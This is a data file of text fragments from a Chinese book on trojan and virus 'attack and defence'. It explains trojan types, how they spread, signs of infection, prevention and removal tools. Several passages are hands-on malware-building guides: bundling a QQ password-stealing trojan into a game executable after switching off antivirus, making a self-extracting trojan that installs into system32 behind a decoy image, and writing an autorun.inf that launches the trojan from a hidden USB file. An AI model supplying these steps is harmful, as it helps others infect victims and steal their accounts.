    {"text": "它可以让攻击者（黑客）完全控制被感染的计算 机，攻击者可以利用它完成一些甚至连计算机管理员本身都不能轻易 做出的操作，其危害之大不言而喻。 由于要达到远程控制的目的，该 种类的木马往往拥有其他种类木马的一些功能，使其在被感染的计算 机上能随便操作，可以任意访问文件，甚至监视对方在计算机上的一 举一动。 大名鼎鼎的国产木马“冰河”就是一个远程访问型特洛伊木马， 这类木马使用起来非常简单，只需要有人运行服务端并且得到受害人 的IP，黑客即可以访问该用户的计算机并进行任何操作。 远程访问型 木马的普遍特征是键盘记录、上传和下载、注册表操作、限制系统功 能及判断系统信息等。 远程访问型特洛伊木马会在用户的计算机上打 开一个端口以保持连接。"},
    {"text": "键盘记录木马 键盘木马功能简单，它只做一件事情，就是记录受害者的键盘敲 击并且在日志文件里查找密码。 这种特洛伊木马随着操作系统的启动 而启动，一般有在线和离线记录这样的选项，也就是说该木马分别记 录用户在线和离线状态下敲击键盘时的按键情况。 换言之就是用户按 过什么按键都会被植入木马的幕后黑客获取，黑客从这些按键中以特 殊的方法得到用户的密码等有用的信息。"},
    {"text": "密码发送木马 现今社会信息安全日益重要，密码则是通向重要信息的一把极其 有用的钥匙，只要掌握了对方的密码，就可以轻而易举地得到对方的 很多信息，而密码发送型的木马正是专门为了盗取被感染的计算机上 的密码而编写的。 该木马一旦被执行，就会自动搜索内存、Cache、临 时文件夹以及各种敏感的密码文件，一旦搜索到有用的密码，木马就 会利用免费的电子邮件服务将密码发送到指定的邮箱，从而达到获取 密码的目的，所以这类木马大多使用25号端口发送E-mail。"},
    {"text": "由于黑客需要获得的密码多种多样，用户计算机上密码的存放形 式也大不相同，所以很多时候黑客都需要自己编写程序，从而得到符 合自己要求的木马。"},
    {"text": "DOS木马 DOS木马又被称为拒绝服务攻击木马，这种木马主要针对网络服务 器，通过使用大量的半连接请求信息造成目标网络服务器的瘫痪，从 而达到拒绝服务的目的。 对于个人计算机而言，一旦用户的计算机被种上了DOS攻击木马， 那么日后这台计算机就成了黑客DOS攻击的最得力的帮手。 黑客控制的 计算机数量越多，发动DOS攻击取得成功的几率就越大。 所以这种木马 的危害不是体现在被感染的计算机上，而是体现在攻击者可以利用它 来攻击网络上其他的计算机，给网络造成很大的危害和损失。"},
    {"text": "FTP木马 FTP 木马是比较早期的木马，该木马唯一的功能就是打开21端 口，等待黑客连接。 现在新型FTP木马还加上了密码功能，这样，只有 攻击者本人才知道正确的密码，从而顺利地进出对方的计算机。"},
    {"text": "代理木马 黑客在入侵时往往掩盖自己的足迹，谨防别人发现。 通过代理木 马，攻击者可以在匿名的情况下使用 Telnet、IRC 等程序，从而达到 隐蔽自己的踪迹的目的。 给被控制的计算机种上代理木马，让其变成 攻击者发动攻击的跳板就是代理木马最重要的任务。 程序禁用木马 常见的防木马软件有瑞星、Norton Anti-Virus及木马清除大师 等。 程序禁用木马的功能就是关闭对方计算机上运行的这类程序，以 便让其他的木马更好地发挥作用。"},
    {"text": "为了隐蔽起见，控制端的被动端口一般设 置在80端口（浏览网页必开端口）。 这样即使用户使用端口扫描软件 检查自己的端口，不明真相的用户就会以为是自己在浏览网页，并且 防火墙也会这么认为，因为防火墙一般不会禁止用户向外连接80端 口。"},
    {"text": "12.2 常见木马的传播和伪装 木马为了能够避免被查杀，往往与一些良性的软件、图片和网页 等内容捆绑在一起，进行伪装后再发送到目标主机，从而达到控制目 标系统的目的。 12.2.1 常见的木马传播方式 和其他的病毒一样，木马也是通过一定的途径感染计算机，不可 能无缘无故的计算机就中了木马，木马传播的途径主要有以下几种。 直接攻击法 利用系统漏洞，例如MS06-14、MS07-17和MS07-004等，通过端口 扫描、漏洞扫描和网络渗透等方式，将木马程序发送并安装到远程计 算机中，这种方法方便、快捷，攻击效果比较明显，很多病毒都是通 过这种方法进行传播。 文件下载法 将木马程序与软件捆绑在一起，或者将木马伪装成破解工具、漂 亮的屏保、图像文件或游戏程序等，放在FTP服务器、WEB站点或者BT 站点提供下载，当用户下载并打开或者运行这些文件的同时也安装了 木马。 U盘传染法 利用Windows系统的自动播放功能，双击该U盘以后，木马就自动 运行，并成功植入到用户计算机中。 电子邮件传播法 电子邮件传播法大都是通过邮件附件进行传播，控制端将木马程 序以附件的形式夹在邮件中发送出去，收信人只要打开附件系统就会 感染木马。 网页挂马法 网页挂马法是目前最流行的木马植入方法之一，主要是利用IE浏 览器的漏洞进行传播的，攻击者在网页上加入溢出代码，用户在浏览 网页或者点击某一个链接时，IE浏览器溢出，溢出以后恶意代码就可 以自动从网站的指定位置下载木马文件并执行。 应用软件漏洞法 将木马文件绑定在Word、Excel、PowerPoint、Access、pdf、 Winrar等文档中，通过QQ、MSN等聊天工具或者电子邮件将这些文件发 送给目标用户，目标用户正常打开这些文档的同时，绑定在这些文档 中的木马就自动运行。 12.2.2 常见的木马伪装方法 鉴于木马的危害性，很多人对木马知识还是有一定了解的，这对 木马的传播起了一定的抑制作用，这是木马设计者所不愿见到的。 因 此攻击者开发了多种功能来伪装木马，以达到降低用户警觉和欺骗用 户的目的。 修改图标 木马服务端所用的图标有一定的规律可循，木马经常故意伪装成 用户计算机上常用图标的形式，等待用户因为疏忽而将其认为是没有 危害的文件图标，然后将其打开。 捆绑文件 捆绑文件的手段是将木马捆绑到一个安装程序中，当安装程序运 行的时候，木马就会在用户毫无察觉的情况下悄悄地进入系统。 被捆 绑的文件一般是可执行文件，例如EXE、COM之类的文件。 出错显示 这里介绍一个简单的木马常识，如果打开一个可执行文件却没有 任何反应，这很可能就是一个木马程序。"},
    {"text": "当服务端 的用户打开木马程序的时候，就会弹出一个错误提示框，当然这是欺 骗的手法，错误内容可自由编写，例如“系统出现致命错误”之类的 信息，当服务端的用户信以为真的时候，木马已经悄悄侵入了系统。 定制端口 一般老式的木马端口都是固定的，这给用户判断是否感染了木马 带来了方便，只要查一下特定的端口就知道感染了什么木马。 所以现 在很多木马都加入了定制端口的功能，控制端的用户可以在1024～ 65535之间任选一个端口作为木马端口（一般不选1024以下的端口）， 这样就给判断所感染木马的类型带来了麻烦。"},
    {"text": "木马更名 如果木马的名称不做任何修改，那么用户通常能够很容易地辨认 出木马程序。 为了增强木马的欺骗性，木马设计者经常给木马取一个 具有迷惑性的名称，或者允许控制端的用户自由定制安装后的木马文 件名，这样就很难判断所感染的木马类型。 木马大多数都改为和系统 文件名类似的名称，例如，有的木马将名称改为iexplorer.exe，很像 IE的进程名iexplore.exe，或者把后缀名.dll改为.dl等。 如果用户中 了此类型的木马，可以按【Ctrl+Alt+Delete】组合键打开【Windows 任务管理器】窗口，在【进程】选项卡中即可查看到该木马。 扩展名欺骗 黑客惯用的一个方法就是扩展名欺骗，它将木马伪装成图像、文 档等文件，这一点跟木马更名的性质类似。 例如，jpg图像文件的扩展 名根本就不会是exe，而木马程序的扩展名一定会是.exe，那么多数用 户在看到扩展名为.exe的文件的时候就会倍加小心。 于是木马设计者 就将文件名进行了一些改变，例如将“文件名.exe”的文件更改为 “文件名.jpg.exe”来掩饰自身的真实文件类型，此时用户只要把该 文件所有扩展名全部都显示出来，就可以轻松地识别出此文件的类 型。"},
    {"text": "当服务端的 用户打开含有木马的文件后，木马会将自己复制到 Windows 的系统文 件夹中（ C:\\Windows 或 C:\\Windows\\system 或 C:\\Windows\\system32 目录下）。 一般来说，源木马文件和系统文件 夹中的木马文件的大小是一样的（捆绑文件的木马除外），那么用户 只要在近来收到的信件和下载的软件中找到源木马文件，然后根据源 木马的大小去系统文件夹找相同大小的文件，判断一下哪个是木马即 可。 而木马的自我销毁功能是指安装完木马之后，源木马文件会自动 销毁，这样服务端用户就很难再找到木马的来源了，此时在没有查杀 木马工具的帮助下是很难删除木马的。"},
    {"text": "12.3 木马的诊断和防范 在病毒猖獗的网络上，木马是流传最为广泛的病毒之一，为了更 好的保护好自己的利益，用户需要了解判断是否被木马控制和防范木 马的方法。 12.3.1 计算机中木马后的表现 黑客可以通过木马盗取用户信息，获得非法利益，或是通过木马 控制用户计算机，进行网络攻击。 被木马控制的计算机通常称为“肉 鸡”，计算机中木马后通常会有以下几个表现。 突然失去了计算机的控制权 用户在使用计算机过程中，突然发现鼠标在用户不动的情况下自 己在动，并且还会单击有关的按钮进行操作，此时可能是有人通过木 马在远程控制用户的计算机，用户应该立即断开网络，使用杀毒软件 查杀木马。"},
    {"text": "例如用户登录QQ 时，QQ 会提示用户上一次登录的地 点，如果用户上一次没在提示的地点登录，那么，一定是QQ账户和密 码泄露。 这就说明计算机很有可能中了木马，黑客通过木马取得了用 户的QQ账户和密码，从而在其他地方登录。 当然也有可能是以其他的 方式泄露的，但此时用户应该使用杀毒软件查杀，以确保计算机的安 全。"},
    {"text": "网络游戏登录不正常 登录网络游戏时发现装备丢失或者和上次下线时的位置不符，甚 至使用正确的密码无法登录。 如果用户没有通过其他途径泄露过自己 的游戏账号和密码，那么就一定是通过计算机上的木马程序泄露了出 去，此时用户也应该查杀木马，以防止信息继续泄露。"},
    {"text": "网络连接异常活跃 在用户没有使用网络资源时，如果计算机中了木马，此时网卡灯 有可能会不停闪烁。 一般来说，如果用户没有使用网络资源，网卡灯 会比较缓慢地闪烁，如果此时网卡灯不停闪烁，十分活跃，就说明有 软件在用户不知情的情况下连接网络。 通常情况下，这些软件就是木 马程序，正常的软件是不会在用户不知情的情况下连接网络的。 硬盘读写不正常 硬盘读写不正常是指用户在没有读写硬盘的情况下，硬盘灯却指 示为硬盘正在读写（也就是硬盘灯不停地闪烁），此时很有可能是有 人通过木马在复制用户计算机上的文件。 在大量读写文件时，系统还 会变慢，此时用户应立即拨掉网线，检查系统进程是否正常，并使用 工具进行查杀。"},
    {"text": "不要随便下载网络共享软件 用户不要轻易下载网络中共享的软件，特别是不可靠的小型FTP站 点和论坛，因为这些地方正是新病毒和木马发布的首选之地。 不要执行来历不明的软件 在安装和使用从网上下载的软件之前一定要使用反病毒软件，最 好是使用专门查杀木马的软件进行检查，确定里面没有病毒和木马了 再执行和使用。 不要轻信网络中的其他用户 不要随意地运行他人发送来的软件。"},
    {"text": "其次虽然明知对方并无恶意，但不能确保 对方的计算机上就不会有病毒，也许对方的计算机已经中了黑客的程 序而他自己还不知道，这样病毒和木马就会随之传播。"},
    {"text": "谨慎使用自己的邮箱 用户要谨慎地使用自己的邮箱，即使是从未公开过的安全性非常 高的邮箱或者ISP邮箱，即使用户也已经设置了过滤系统，仍不能保证 百分百地拒绝垃圾邮件、病毒和木马。 用户最好使用第三方邮件程序，例如Foxmail等，不要使用 Microsoft Outlook程序，因为Outlook程序的安全漏洞实在是太多 了，而且Outlook也是黑客们首选攻击的对象。"},
    {"text": "运行反木马实时监控程序 在上网的时候一定要运行反木马实时监控程序、专业的最新杀毒 软件和个人防火墙等进行监控。 尽量少用共享文件夹 如果需要设置文件共享，则最好单独地设置一个共享文件夹，把 所有需要共享的文件都放在该共享文件夹中，一定不要将系统目录设 置成共享。 隐藏IP地址 在上网的时候最好用一些工具软件隐藏自己的IP地址，这一点非 常重要。 12.4 木马的制作与清除 通常情况下，木马都是隐藏在一些文件中的，所以木马的制作就 依赖于文件，下面主要介绍几种常见木马的制作与查杀方法。 12.4.1 制作软件捆绑木马 软件捆绑木马通常依靠软件，这些软件大都属于可执行的软件。 黑客首先将木马捆绑到这些软件上，然后将这些软件网络共享，当用 户下载并执行了这些捆绑木马的软件，黑客就能够很容易的入侵到用 户的计算机了。 捆绑木马的软件很多，这里以利用“EXE捆绑机”软件进行木马捆 绑为例进行介绍，具体的操作步骤如下。 1 首先下载“EXE 捆绑机”软件，然后双击该软件图标 ，打 开【EXE捆绑机】对话框，在下方的【指定 第一个可执行文件】界面 中，提示需要指定一个可执行文件，也就是要进行捆绑木马的软件， 并且捆绑后的文件与源文件一样，几乎看不出什么变化，单击 按钮。"},
    {"text": "2 弹出【请指定第一个可执行文件】对话框，选择一个可执行的 EXE文件，这里选中游戏文件“蜘蛛纸牌.exe”，然后单击 按钮。 3 返回【指定第一个可执行文件】界面，在【第一个可执行文件 的路径为】文本框中显示出了游戏文件“蜘蛛纸牌.exe”的路径，单 击 按钮。"},
    {"text": "4 进入到【指定第二个可执行文件】界面，提示需要指定第二个 可执行文件，也就是要进行捆绑的木马文件，单击 按 钮。 5 弹出【请指定第二个可执行文件】对话框，选择一个可执行的 木马文件，这里选择“qq_ruanxing.exe（QQ密码记录器）”文件，然 后单击 按钮。 6 返回【指定第二个可执行文件】界面，在【第二个可执行文件 的路径为】文本框中显示出了可执行木马文件“qq_ruanxing.exe”的 路径，单击 按钮。"},
    {"text": "7 进入【指定保存路径】界面，指定捆绑后文件的保存路径，单 击 按钮。 8 弹出【保存为】对话框，选择要保存的位置，并输入文件名， 然后单击 按钮。 9 返回【指定保存路径】界面，在【保存路径为】文本框中显示 出了刚指定的保存路径，单击 按钮。"},
    {"text": "11 进入【捆绑文件】界面，用户需要先将计算机中开启的杀毒软 件等关闭，然后单击 按钮，开始捆绑“蜘蛛纸牌.exe” 和“qq_ruanxing.exe”文件。"},
    {"text": "12 捆绑完成后会自动弹出提示对话框，提示捆绑文件成功，单击 按钮。 13 随即弹出捆绑文件所在的文件夹窗口，可以看到“蜘蛛纸牌 M.exe”捆绑文件已经成功生成了。"},
    {"text": "12.4.2 制作自解压木马 自解压木马利用的是WinRAR软件的自解压技术。 自解压木马在网 络上是很常见的，特别是从一些不正规的网站上下载的压缩文件中很 有可能带有自解压木马，所以从网站上下载压缩文件时一定要先查 毒。 在制作自解压木马之前，用户需要先安装WinRAR软件，这里将一 张图片和一个木马文件制作成自解压木马为例进行介绍，具体的操作 步骤如下。 1 找到制作自解压木马时所需的文件，打开其所在的【自解压木 马】文件夹窗口。"},
    {"text": "4 随即在当前的文件夹中生成一个名为“素材.rar”的压缩文 件，双击该压缩文件。 5 弹出【素材.rar - WinRAR】窗口，可以看到木马文件和图片文 件都显示在其中，单击右上角的【自解压格式】按钮 。 6 弹出【压缩文件 素材.rar】对话框，并自动切换到【自解压格 式】选项卡，单击其下方的 按钮。 7 弹出【高级自解压选项】对话框，默认切换到【常规】选项 卡，此时需要在【解压路径】文本框中填写一个路径，该路径可以随 意填写，但最好是不容易被发现的位置。 这里输入 “%SystemRoot%\\system32”，表示解压到系统文件夹下的system32文 件夹中，其他保持默认设置。 8 切换到【设置】选项卡，在【安装程序】组合框的【解压后运 行】文本框中输入木马文件“muma.exe”，在【解压前运行】文本框 中输入图片文件“素材.JPG”。"},
    {"text": "因此，为 了远离木马的威胁，用户需要选择一款能力超凡的木马清除软件。 下 面将介绍几款木马清除软件以及各自清除木马的操作方法，以帮助用 户选择出适合的软件。 1. 360安全卫士 360 安全卫士是北京奇虎科技有限公司推出的一款永久免费、受 用户欢迎的上网必备安全软件。 它拥有查杀木马、清理插件、修复漏 洞、电脑体检、清理垃圾等多种常用功能，并独创了“木马防火墙” 功能，依靠抢先侦测和360安全中心云端鉴别，可全面、智能地拦截各 类木马，保护用户的账号、隐私等重要信息。 目前，木马威胁之大已远超病毒，360 安全卫士运用云安全技 术，在拦截和查杀木马的效果、速度以及专业性上表现出色，能有效 防止个人数据和隐私被木马窃取，被誉为“防范木马的第一选择”。 下面便详细介绍使用360安全卫士清除木马的具体步骤。 1 首先下载并安装360安全卫士软件，双击桌面上的【360安全卫 士】图标 ，打开其主界面，单击上方的【木马查杀】按钮 ， 切换到【木马查杀】界面，在下方的列表框中列出了【快速扫描】、 【全盘扫描】和【自定义扫描】3个按钮选项，这里单击【全盘扫描】 按钮 。 2 随即进入【全盘扫描】界面，本软件正在对本机上的所有磁盘 进行扫描，当扫描到木马等风险项时，会在上方的列表框中列出该风 险项的名称、类型等详情。 3 扫描完成后，自动进入到【扫描结果】界面，该软件会提示检 查到的安全威胁数、扫描详情等，并在下方的列表框中列出所有检查 到的木马等风险项，用户需要选择要清除的风险项名称前方的复选 框，选择完成后，单击 按钮进行木马的清除操作。 4 处理完成后，弹出【360木马云查杀】对话框，提示处理成功， 建议用户立即重启计算机，单击 按钮重新启动计算机即 可。 2. Windows木马清道夫 Windows 木马清道夫是一款专门查杀并可辅助查杀木马的专业级 反木马信息安全软件。 Windows木马清道夫可自动查杀近10万种木马， 配合手动分析可对未知木马进行查杀，堪称“木马的克星”。"},
    {"text": "使用Windows木马清道夫软件清除木马的具体步骤如下。 1 下载并安装 Windows 木马清道夫软件，打开其主界面，单击 【扫描硬盘】按钮，在弹出的快捷菜单中包含了【高速扫描硬盘】、 【精确扫描硬盘】和【启发式系统文件感染扫描】3个选项，这里选择 【精确扫描硬盘】选项。 2 随即进入【精确扫描硬盘】界面，在左侧的列表框中选择要扫 描的目录，这里选择【所有硬盘】左侧的复选框，选择下方的【扫描 压缩文件】复选框，其他保持默认设置，然后单击 按钮，该 软件会自动对所有硬盘进行扫描，该过程可能需要比较长的时间。 3 扫描完成后，在【木马病毒/广告间谍/恶意软件列表】列表框 中列出所检查到的木马等安全威胁，选择要清除的安全威胁名称左侧 的复选框，然后单击 按钮，在弹出的快捷菜单中，用户 可以选择对该安全威胁进行隔离还是清除，这里选择【隔离选中的项 目】选项。"},
    {"text": "3. 木马清除大师2012 木马清除大师2012是为网络游戏爱好者、聊天爱好者量身订做的 一款杀毒软件，目前已经能清除340万余种国际国内流行木马、网络游 戏盗号工具、QQ盗号工具、幽灵后门、流氓软件和间谍软件等，查杀 率在95%以上。 该软件还能够支持Vista/Windows 7/Windows 8的64位 操作系统，是目前全面支持Windows操作系统的木马病毒查杀软件之 一。 木马清除大师 2012 采用精确的启发式扫描，查杀木马病毒快、 准，占用的资源少。"},
    {"text": "使用木马清除大师2012软件清除木马的具体步骤如下。 1 首先将木马清除大师2012安全套装下载并安装到计算机上，运 行该软件，打开其主界面，在左侧的列表框的【扫描】组中，提供了 【全面扫描】和【扫描硬盘】两个选项，全面扫描是快速扫描硬盘中 的特定敏感区域，若要是想检查硬盘中的所有文件，需要使用扫描硬 盘功能，这里选择【全面扫描】选项。"},
    {"text": "4 扫描完成后，会自动切换到【木马】界面，在下方的列表框中 列出了所有检测到的有害程序，单击 按钮将所有有害程序选 中，然后单击 按钮进行清除即可。 高手过招 提高IE浏览器安全级别 目前，一些恶意网页会利用软件或系统操作平台等的安全漏洞， 通过执行嵌入在网页 HTML超文本标记语言中可自动执行的代码程序， 强行修改用户操作系统的注册表及系统配置，从而达到非法控制系统 资源、破坏数据、格式化硬盘和感染木马程序的目的。"},
    {"text": "1 打开IE浏览器窗口，选择【工具】选项，在弹出的快捷菜单中 选择【Internet选项】菜单项。 2 弹出【Internet选项】对话框，切换到【安全】选项卡，在 【选择要查看的区域或更改安全设置】组合框中选择【Internet】选 项，在下方的【该区域的安全级别】组合框中通过向上拖动滑块，将 安全级别设置为“高”，按照同样的方法分别将【本地Intranet】和 【受限站点】选项的安全级别设置为“高”，其他保持默认设置即 可。 3 切换到【隐私】选项卡，在【设置】组合框中向上拖动滑块， 将安全级别设置为“阻止所有 Cookie”，这样就不会保存浏览网页所 产生的所有 Cookies 信息了，设置完成后，单击 按钮即 可。"},
    {"text": "取消自动保存表单和密码功能 在浏览网页过程中，IE浏览器会自动保存用户所填写的表单和密 码等信息，这些信息会给用户带来严重的安全隐患。"},
    {"text": "1 按照前面所介绍的方法打开【Internet选项】对话框，切换到 【内容】选项卡，单击【自动完成】组合框中的 按 钮。 2 弹出【自动完成设置】对话框，取消选择【自动完成功能应用 于】组合框中的【表单】和【表单上的用户名和密码】复选框，设置 完成后单击 按钮。 3 返回【Internet 选项】对话框，再次单击 按钮保 存设置即可。"},
    {"text": "1 按照前面所介绍的方法打开【Internet 选项】对话框，切换到 【安全】选项卡，在【选择要查看的区域或更改安全设置】组合框中 选择【受限站点】选项，然后单击 按钮。 2 弹出【受限站点】对话框，在【将该网站添加到区域】文本框 中输入有害网站的地址，然后单击 按钮。 3 随即将该网站添加到下方的【网站】列表框中，然后单击 按钮，返回到【Internet选项】对话框，再次单击 按钮保存设置即可。"},
    {"text": "本章将详细讲解计算机病毒的定义、特点、攻击手 段和防范措施等基础知识。 光盘链接 关于本章知识，本书配套教学光盘中有相关的多媒体教学视频， 请读者参见光盘中的【木马与病毒攻防】。 13.1 认识病毒真面目 自从第一个计算机病毒被检测出来后，计算机世界便笼罩在一片 “病毒”的阴影中。 下面便详细介绍一下计算机病毒的定义、特征和 分类等知识。 计算机病毒是一段程序，是某些人利用计算机软、硬件所固有的 脆弱性而编制成的一段具有特殊功能的代码。 它能够对计算机的正常 运行产生破坏性的作用。 和生物学中的病毒一样，计算机病毒具有独 特的复制功能，它可以迅速地蔓延，却又常常难以根除。 从广义上 讲，计算机病毒是指能够通过自身复制传染而引起计算机故障、破坏 计算机数据的一种程序。 13.1.1 病毒的特征 计算机病毒能够通过某种途径潜伏在其他可执行程序中，一旦工 作环境达到病毒发作的要求，便影响计算机的正常工作，甚至使整个 系统瘫痪。 计算机病毒虽然是一种程序，但是和普通的计算机程序又 有很大区别，它通常具有以下几种特征。 繁殖性 计算机病毒可以像生物病毒一样进行繁殖，当正常程序运行的时 候，它也进行自身复制运行，是否具有繁殖、感染的特征是判断某段 程序是否为计算机病毒的首要条件。 寄生性 寄生性是指计算机病毒寄生在其他程序之中，当执行这个程序 时，病毒就会起破坏作用，而在未启动这个程序之前，它是不易被发 觉的。 传染性 计算机病毒不但本身具有破坏性，更有害的是具有传染性，一旦 病毒被复制或产生变种，其传染速度之快令人难以预防。 它会通过各 种渠道从已被感染的计算机扩散到未被感染的计算机，在某些情况下 造成被感染的计算机工作失常甚至瘫痪。 潜伏性 潜伏性有两种表现：一、病毒程序不用专用检测程序是检查不出 来的，因此病毒可以静静地躲在磁盘里待上几天，甚至几年，一旦时 机成熟，得到运行机会，就繁殖、扩散，四处为害； 二、电脑病毒的 内部往往有一种触发机制，不满足触发条件时，电脑病毒除了传染外 不进行什么破坏。 隐蔽性 隐蔽性是指病毒的存在、传染和对数据的破坏过程不易被计算机 操作人员发现。 例如，有的可以通过病毒软件检查出来，有的根本就 查不出来，有的时隐时现、变化无常，这类病毒处理起来通常很困 难。 破坏性 计算机中毒后，轻则会造成电脑运行速度减慢、磁盘空间减少， 重则会导致电脑中的数据丢失，甚至系统崩溃。 13.1.2 病毒的分类 目前，常见的计算机病毒主要包括引导型病毒、文件型病毒、混 合型病毒、宏病毒、蠕虫病毒和木马病毒等。 引导型病毒 引导型病毒指寄生在磁盘引导区或主引导区的计算机病毒。 此种 病毒利用系统引导时，不对主引导区的内容正确与否进行判别的缺 点，在引导型系统的过程中侵入系统，驻留内存，监视系统运行，待 机传染和破坏。 按照引导型病毒在硬盘上的寄生位置又可细分为主引导记录病毒 和分区引导记录病毒。 主引导记录病毒感染硬盘的主引导区，如大麻 病毒、2708病毒、火炬病毒等； 分区引导记录病毒感染硬盘的活动分 区引导记录，如小球病毒、Girl病毒等。 引导型病毒的主要特点如下。 ① 引导部分占据磁盘引导区。 ② 只有在计算机启动过程中，磁盘被引导时，“引导型”病毒才 被激活。 ③ 具有磁盘引导扇区内容“复原”功能。"},
    {"text": "文件型病毒 文件型病毒是计算机病毒的一种，会感染计算机中的可执行文件 （.exe）和命令文件(.com)。 文件型病毒会对计算机的源文件进行修 改，使其成为新的带毒文件。 一旦计算机运行该文件就会被感染，从 而达到传播的目的。 文件型病毒分两类：一种是将病毒加在com前部，一种是加在文件 尾部。 文件型病毒传染的对象主要是. com和.exe文件。 文件型病毒的具有以下几个特点。 ① 系统执行病毒所寄生的文件时，其病毒才被激活。 ② 有可能直接攻击目标对象，主要是exe、com等可执行文件。 ③ 修改系统内存分配，病毒驻留内存。 ④ 修改系统中断，等待时机进行病毒的发作或再次传播。"},
    {"text": "如果只发现该病毒的一个特性，把它只当作引导型或 文件型病毒进行清除，虽然好像是清除了，但还留有隐患，而且混合 型病毒在这种经过不彻底杀毒的磁盘中更有攻击性。"},
    {"text": "宏病毒 宏病毒是一种寄存在文档或模板的宏中的计算机病毒。 一旦打开 这样的文档，其中的宏就会被执行，于是宏病毒就会被激活，转移到 计算机上，并驻留在 Normal 模板上。 从此以后，所有自动保存的文 档都会“感染”上这种宏病毒，此时，如果其他用户打开了感染病毒 的文档，宏病毒又会转移到该用户的计算机上。 不是所有包含宏的文档都包含了宏病毒，用户可以通过以下方法 来判断自己的Office文档或系统中是否有宏病毒。 （1）在打开“宏病毒防护功能”的情况下，当打开一个文档时， 系统会弹出相应的警告框，而用户并没有在其中使用宏，那么该文档 肯定已经感染了宏病毒。 （2）如果软件中关于宏病毒防护选项启用后，但是不能在下次开 机时依然保存，则用户的系统可能已经感染了宏病毒，也就是说一系 列Word模板，特别是normal.dot已经被感染。"},
    {"text": "蠕虫病毒 蠕虫病毒是一种常见的计算机病毒，它利用网络进行复制和传 播，传染途径是通过网络和电子邮件。 最初的蠕虫病毒定义是因为在 DOS环境下，病毒发作时会在屏幕上出现一条类似虫子的东西，胡乱吞 吃屏幕上的字母并将其改形。 蠕虫病毒是自包含的程序（或是一套程序），它使用网络的连接 将自身或自身的某些部分复制到其他的计算机系统中，然后就会终止 其自身。 蠕虫病毒主要有主机蠕虫和网络蠕虫两种。 比如近几年危害很大的“尼姆亚”病毒就是蠕虫病毒的一种， 2007年流行的“熊猫烧香”及其变种也是蠕虫病毒。"},
    {"text": "这一病毒利用了 微软视窗操作系统的漏洞，计算机感染这一病毒后，会不断自动拨号 上网，并利用文件中的地址信息或者网络共享进行传播，最终破坏用 户的大部分重要数据。 蠕虫病毒的一般防治方法是：使用具有实时监控功能的杀毒软 件，并且注意不要轻易打开不熟悉的邮件附件。 木马病毒 木马程序是目前比较流行的病毒文件，与一般的病毒不同，它不 会自我繁殖，也并不“刻意”地去感染其他文件，它通过将自身伪装 吸引用户下载执行，向施种木马者提供打开被种者电脑的门户，使施 种者可以任意毁坏、窃取被种者的文件，甚至远程操控被种者的电 脑。"},
    {"text": "13.2 U盘病毒的制作与攻击 U盘拥有携带容易、使用方便以及价格便宜等优点，这使其成为最 主流的存储设备之一，而利用U盘来传播病毒也已经成为黑客最常用的 手段了。 13.2.1 U盘病毒的攻击原理 U盘病毒就是通过U盘进行传播的病毒，但是U盘病毒只是习惯用 语，它还可以通过MP3、移动硬盘等移动存储设备传播。 自从发现U盘 的autorun.inf漏洞之后，U盘病毒的数量与日俱增，到现今可以说是 多到泛滥的程度了。 该类病毒首先向U盘写入病毒程序，然后更改Autorun.inf文件。 Autorun.inf文件记录用户选择何种程序来打开U盘。 如果Autorun.inf 文件指向了病毒程序，那么Windows就会运行这个程序，引发病毒。 一 般病毒还会检测插入的U盘，并对其实行上述操作，导致一个新的U盘 病毒产生，随即用户的计算机将会被其感染。 13.2.2 打造U盘病毒 目前，U盘病毒的种类繁多，但是大都是通过Autorun.inf文件来 入侵计算机的。 下面便详细介绍一种简单U盘病毒的制作方法。"},
    {"text": "1 将一个U盘插入到计算机上的USB插槽中。 2 稍等片刻，系统安装完成U盘的驱动后，双击桌面上的【计算 机】图标 ，打开【计算机】窗口，找到并双击U盘的盘符。"},
    {"text": "4 制作一个Autorun.inf文件，在U盘窗口的空白处单击鼠标右 键，从弹出的快捷菜单中选择【新建】 【文本文档】菜单项。 5 随即在U盘窗口中新建了一个空白的文本文档，将其重命名为 “autorun.txt”，然后双击该文本文档。"},
    {"text": "6 在记事本窗口中输入“[AutoRun]”，表示AutoRun部分开始， 接着按下【Enter】键，切换到下一行 ，输入“ shellexecute=qq_ruanxing.exe”，表示自动执行的文件是 qq_ruanxing.exe, 然后按下【Enter】键，再次切换到下一行，输入 “shell\\open\\Command=qq_ruanxing.exe”，这个命令表示选择右键 快捷菜单中的【打开】菜单项时，执行qq_ruanxing.exe文件。"},
    {"text": "7 此时，一个简单的autorun配置文件就编写成功了，然后选择 【文件】 【另存为】菜单项。 8 弹出【另存为】对话框，找到并打开U盘窗口，在文件名中输入 “autorun.inf”，然后单击 按钮。 9 返回U盘窗口，可以看到已经新建一个名为“autorun.inf”的 文件了，选择【autorun.txt】文本文档，然后按下【Delete】键，随 即弹出【删除文件】对话框，提示是否要永久删除该文件，单击 按钮即可。 10 返回U盘窗口，同时选中【qq_ruanxing.exe】和 【autorun.inf】文件，然后单击鼠标右键，从弹出的快捷菜单中选择 【属性】菜单项。"},
    {"text": "11 弹出这两个文件的属性对话框，默认切换到【常规】选项卡， 在【属性】组合框中选择【隐藏】复选框，然后单击 按 钮即可将这个两个文件隐藏。"},
    {"text": "这样一个U盘病毒就已经制作完成了。 13.2.3 U盘病毒的攻击 U盘病毒制作完成后，如果用户毫无防备地运行了该U盘，随即U盘 中的病毒就会自动运行，从而传染当前的计算机。 1 制作完成U盘病毒后，安全退出U盘，然后再将U盘插入USB插槽 中，双击该U盘盘符，或者在该盘符上单击鼠标右键，从弹出的快捷菜 单中选择【打开】菜单项。 2 如果当前的计算机中没有任何防护措施，则U盘中的病毒就会悄 悄地在该计算机上运行了； 如果当前的计算机中装有防护功能的软 件，则可能检测到该病毒，并弹出提示对话框，提示发现U盘中存在危 险文件，建议全面扫描U盘。 13.3 病毒的诊断与防范 用户的计算机常在不经意间就被感染了U盘病毒。"},
    {"text": "13.3.1 病毒的传播途径 一般情况下，电脑病毒的传播主要通过复制文件、传送文件和运 行程序等几种方式进行，其主要的传播途径有以下几种。"},
    {"text": "硬盘传播 通过硬盘传染是病毒传播的重要渠道。 将带有病毒的机器移到其 他地方使用或维修时，即可传染给干净的硬盘并随之扩散。 光盘传播 因为光盘容量大，可存储海量的可执行文件，所以病毒就有可能 藏身于光盘上。 只读式光盘，不能进行写操作，因此光盘上的病毒不 能清除。 而以谋利为目的非法盗版软件在制作的过程中，不可能为病 毒防护担负责任，也决不会有真正可靠可行的技术保障避免病毒的传 入、传染、流行和扩散。 所以当前，盗版光盘的泛滥给病毒的传播带 来了很大的便利。"},
